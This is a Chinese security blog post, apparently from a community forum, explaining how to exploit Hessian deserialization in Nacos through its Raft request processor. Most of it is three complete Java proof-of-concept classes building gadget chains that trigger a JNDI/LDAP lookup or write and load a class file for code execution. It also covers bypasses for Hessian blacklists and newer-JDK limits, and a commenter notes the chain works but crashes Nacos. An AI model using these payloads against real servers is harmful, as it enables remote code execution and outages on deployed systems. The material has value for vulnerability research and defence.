由 nacos 引出的 Hessian 反序列化利用
1686806683614784 发表于 四川 历史精选 3996浏览 · 2024-04-16 08:44

文章的主要目的不是为了分析漏洞,而是介绍hessian利用

raft介绍

Raft协议是一种分布式一致性算法(共识算法),共识就是多个节点对某一个事件达成一致的算法,即使出现部分节点故障,网络延时等情况,也不影响各节点,进而提高系统的整体可用性。
理解分布式共识算法:
http://thesecretlivesofdata.com/raft/
https://juejin.cn/post/7143541597165060109

反序列化

这里简单提一下 raft 的反序列化过程

当com.alibaba.nacos.core.distributed.raft.processor.AbstractProcessor#handleRequest接收到raft请求,这里会findGroup,寻找leader节点

可选择的group有三个,需要是leader节点才能继续调用execute,需要注意的是,打完一次poc之后,节点就会变成state_error,这里有三个节点,所以默认情况下只能打三次,测试过程中复原的方式:

将全新的data进行替换并重启服务,节点就正常工作了。

execute会调用JRaftServer#applyOperation,将data封装为com.alipay.sofa.jraft.entity.Task提交到Raft集群

将Task提交到sofa-jraft框架后,框架会处理所有流程(日志复制、超半数提交),最终会调用用户实现的状态机的onApply方法

naming_instance_metadata -> 的processor InstanceMetadataProcessor的onApply

所以需要message类型是WriteRequest

最终触发反序列化

Gadgets

出网

Rdn$RdnEntry#compareTo->
    XString#equal->
        MultiUIDefaults#toString->
            UIDefaults#get->
                UIDefaults#getFromHashTable->
                    UIDefaults$LazyValue#createValue->
                        SwingLazyValue#createValue->
                            InitialContext#doLookup()

Hessian序列化的时候不允许非Serializable接口的类序列化,不过可以设置SerializerFactory#_isAllowNonSerializable属性为true绕过

不过,在Hessian反序列化时,反序列化器是MapDeserializer由于MultiUIDefaults不是public类,所以readMap时,会报错

将MultiUIDefaults换为:

sun.security.pkcs.PKCS9Attributes

获取的Deserialize是UnsafeDeserializer,(如果是JavaDeserializer那么实例化类的时候,依然需要public类,MimeTypeParameterList也是非public,但由于不是Map类型,所以没有直接使用MapDeserializer进行newInstace)

直接使用unsafe进行实例化类

最后的payload为:

public class HessianDemo {
    public static void main(String[] args) throws Exception {
        SwingLazyValue lazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/xx"});
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue);
        PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
        Field f = p.getClass().getDeclaredField("attributes");
        f.setAccessible(true);
        f.set(p, uiDefaults);
        byte[] b = hserialize(p);
        hdeserialize(b);
    }

    public static <T> byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(os);
            // 允许序列化不实现Serializable接口的类
            output.getSerializerFactory().setAllowNonSerializable(true);
            output.writeObject(t);
            output.flushBuffer();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static Object hdeserialize(byte[] data){
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            byte[] b = new byte[]{67};
            data = byteMerger(b, data);
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            Hessian2Input input = new Hessian2Input(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return result;
    }

    public static byte[] byteMerger(byte[] bt1, byte[] bt2){
        byte[] bt3 = new byte[bt1.length+bt2.length];
        System.arraycopy(bt1, 0, bt3, 0, bt1.length);
        System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
        return bt3;
    }
}

解释一下poc的几个点:为什么要在最开始write一个byte 67

为了调用到expect方法,为了触发obj也就是PKCS9Attributes的toString方法

这里是67的原因:

首先readObject进来,读到第一个byte为67,进入readObjectDefinition

接着,继续调用readString

在readString里又触发expcet,这里的67,就是正常writeObject流程里的写的67了,indx已经后移了一位

正常writeObject的时候,第一位也是67,这样就有了两个67,触发到expect

PKCS9Attributes的toString会调用UIDefaults的get方法

注意这里的key在遍历PKCS9_OIDS,PKCS9Attribute.EMAIL_ADDRESS_OID可以满足条件

最终的调用栈:

PKCS9Attributes#toString->
        UIDefaults#get->
            UIDefaults#getFromHashTable->
                UIDefaults$LazyValue#createValue->
                    SwingLazyValue#createValue->
                        InitialContext#doLookup()

SwingLazyValue 调用的方法需要是静态方法,因为invoke第一个参数传的class类型

class的加载过程有黑名单:com.caucho.hessian.io.ClassFactory#isAllow

jdk高版本利用:

高版本需要配合 System.setProperty 设置 com.sun.jndi.rmi.object.trustURLCodebase 解除lookup限制,但是这里有黑名单,限制了java.lang.System的调用,于是思路:naocs存在tomcat依赖,直接加载本地BeanFactory即可绕过高版本限制。

不出网

参考了网上的一些利用,此方法能绕过高版本hessian禁用System的调用

利用:

  1. jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode -> writeClass
  2. sun.security.tools.keytool.Main#main -> loadClass

jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode写入class文件,这里需要换成UIDefaults.ProxyLazyValue,否则会加载不到DumpBytecode(nashorn.jar)

如果是SwingLazyValue,只能加载到 rt.jar

接着调用sun.security.tools.keytool.Main#main来loadClass

POC:

writeClass:

package com.nacos.jraft.test;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;

public class HessianWriteClass {
    public static void main(String[] args) throws Exception {
        ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
        Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
        dest_dir.setAccessible(true);
        dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
        UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode","dumpBytecode",
                new Object[]{
                        scriptEnvironment,
                        getUnsafe().allocateInstance(DebugLogger.class),
                        ToByte.toByte(),
                        "RunCommand",
                }
        );
        Field acc = lazyValue_2.getClass().getDeclaredField("acc");
        acc.setAccessible(true);
        acc.set(lazyValue_2, null);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
        PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
        Field f = p.getClass().getDeclaredField("attributes");
        f.setAccessible(true);
        f.set(p, uiDefaults);
        byte[] b = hserialize(p);
        hdeserialize(b);
    }

    public static byte[] getBytes(){
        try {
            ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
            Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
            dest_dir.setAccessible(true);
            dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
            UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode","dumpBytecode",
                    new Object[]{
                            scriptEnvironment,
                            getUnsafe().allocateInstance(DebugLogger.class),
                            ToByte.toByte(),
                            "RunCommand",
                    }
            );
            Field acc = lazyValue_2.getClass().getDeclaredField("acc");
            acc.setAccessible(true);
            acc.set(lazyValue_2, null);
            UIDefaults uiDefaults = new UIDefaults();
            uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
            PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
            Field f = p.getClass().getDeclaredField("attributes");
            f.setAccessible(true);
            f.set(p, uiDefaults);
            byte[] data = hserialize(p);
            byte[] b = new byte[]{67};
            data = byteMerger(b, data);
            return data;
        }catch (Exception e) {
            e.printStackTrace();
        }

        return new byte[0];
    }

    public static <T> byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(os);
            // 允许序列化不实现Serializable接口的类
            output.getSerializerFactory().setAllowNonSerializable(true);
            output.writeObject(t);
            output.flushBuffer();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static Object hdeserialize(byte[] data){
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            byte[] b = new byte[]{67};
            data = byteMerger(b, data);
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            Hessian2Input input = new Hessian2Input(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return result;
    }

    public static byte[] byteMerger(byte[] bt1, byte[] bt2){
        byte[] bt3 = new byte[bt1.length+bt2.length];
        System.arraycopy(bt1, 0, bt3, 0, bt1.length);
        System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
        return bt3;
    }

    public static Unsafe getUnsafe() throws NoSuchFieldException, IllegalAccessException {
        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        return (Unsafe) unsafeField.get(null);
    }
}

loadClass:

package com.nacos.jraft.test;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;

public class HessianLoadClass {
    public static void main(String[] args) throws Exception {
        ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
        Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
        dest_dir.setAccessible(true);
        dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
        UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("sun.security.tools.keytool.Main",
                "main",
                new Object[]{new String[]{
                        "-genkeypair",
                        "-keypass",
                        "123456",
                        "-keystore",
                        "test",
                        "-storepass",
                        "123456",
                        "-providername",
                        "test",
                        "-providerclass",
                        "RunCommand",
                        "-providerpath",
                        System.getProperty("java.io.tmpdir")}}
        );
        Field acc = lazyValue_2.getClass().getDeclaredField("acc");
        acc.setAccessible(true);
        acc.set(lazyValue_2, null);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
        PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
        Field f = p.getClass().getDeclaredField("attributes");
        f.setAccessible(true);
        f.set(p, uiDefaults);
        byte[] b = hserialize(p);
        hdeserialize(b);
    }


    public static byte[] getBytes(){
        try {
            ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
            Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
            dest_dir.setAccessible(true);
            dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
            UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("sun.security.tools.keytool.Main",
                    "main",
                    new Object[]{new String[]{
                            "-genkeypair",
                            "-keypass",
                            "123456",
                            "-keystore",
                            "test",
                            "-storepass",
                            "123456",
                            "-providername",
                            "test",
                            "-providerclass",
                            "RunCommand",
                            "-providerpath",
                            System.getProperty("java.io.tmpdir")}}
            );
            Field acc = lazyValue_2.getClass().getDeclaredField("acc");
            acc.setAccessible(true);
            acc.set(lazyValue_2, null);
            UIDefaults uiDefaults = new UIDefaults();
            uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
            PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
            Field f = p.getClass().getDeclaredField("attributes");
            f.setAccessible(true);
            f.set(p, uiDefaults);
            byte[] data = hserialize(p);
            byte[] b = new byte[]{67};
            data = byteMerger(b, data);
            return data;
        }catch (Exception e) {
            e.printStackTrace();
        }

        return new byte[0];
    }


    public static <T> byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(os);
            // 允许序列化不实现Serializable接口的类
            output.getSerializerFactory().setAllowNonSerializable(true);
            output.writeObject(t);
            output.flushBuffer();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static Object hdeserialize(byte[] data){
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            byte[] b = new byte[]{67};
            data = byteMerger(b, data);
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            Hessian2Input input = new Hessian2Input(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return result;
    }

    public static byte[] byteMerger(byte[] bt1, byte[] bt2){
        byte[] bt3 = new byte[bt1.length+bt2.length];
        System.arraycopy(bt1, 0, bt3, 0, bt1.length);
        System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
        return bt3;
    }

    public static Unsafe getUnsafe() throws NoSuchFieldException, IllegalAccessException {
        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        return (Unsafe) unsafeField.get(null);
    }
}

其他利用:

  1. jdk <8u251, com.sun.org.apache.bcel.internal.util.JavaWrapper#_main加载bcel:https://siebene.github.io/2022/09/19/0CTF2022-hessian-onlyjdk-WriteUp/
  2. 没有黑名单的情况下,调用sun.reflect.misc.MethodUtil#invoke,进而传入实例化的类调用exec():https://github.com/ceclin/0ctf-2022-soln-hessian-onlyjdk/blob/main/soln/src/main/kotlin/soln/App.kt
  3. jdk.nashorn.internal.codegen.DumpBytecode#dumpByteCode 写动态链接库+ System.load 加载:https://xz.aliyun.com/t/11732#toc-0
  4. sun.tools.jar.Main.main:https://gist.github.com/CykuTW/4c0d105df24acf2218e0aedb67661da9
  5. System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm:https://guokeya.github.io/post/psaIZKtC4/
  6. com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename 写文件
2 条评论
某人
表情
可输入 255
white-beer
2024-09-22 08:06 北京 0 回复

@white-beer 解决了


white-beer
2024-09-22 05:00 北京 0 回复

这个链打nacos的能打成功,但是nacos会崩。有啥办法能规避吗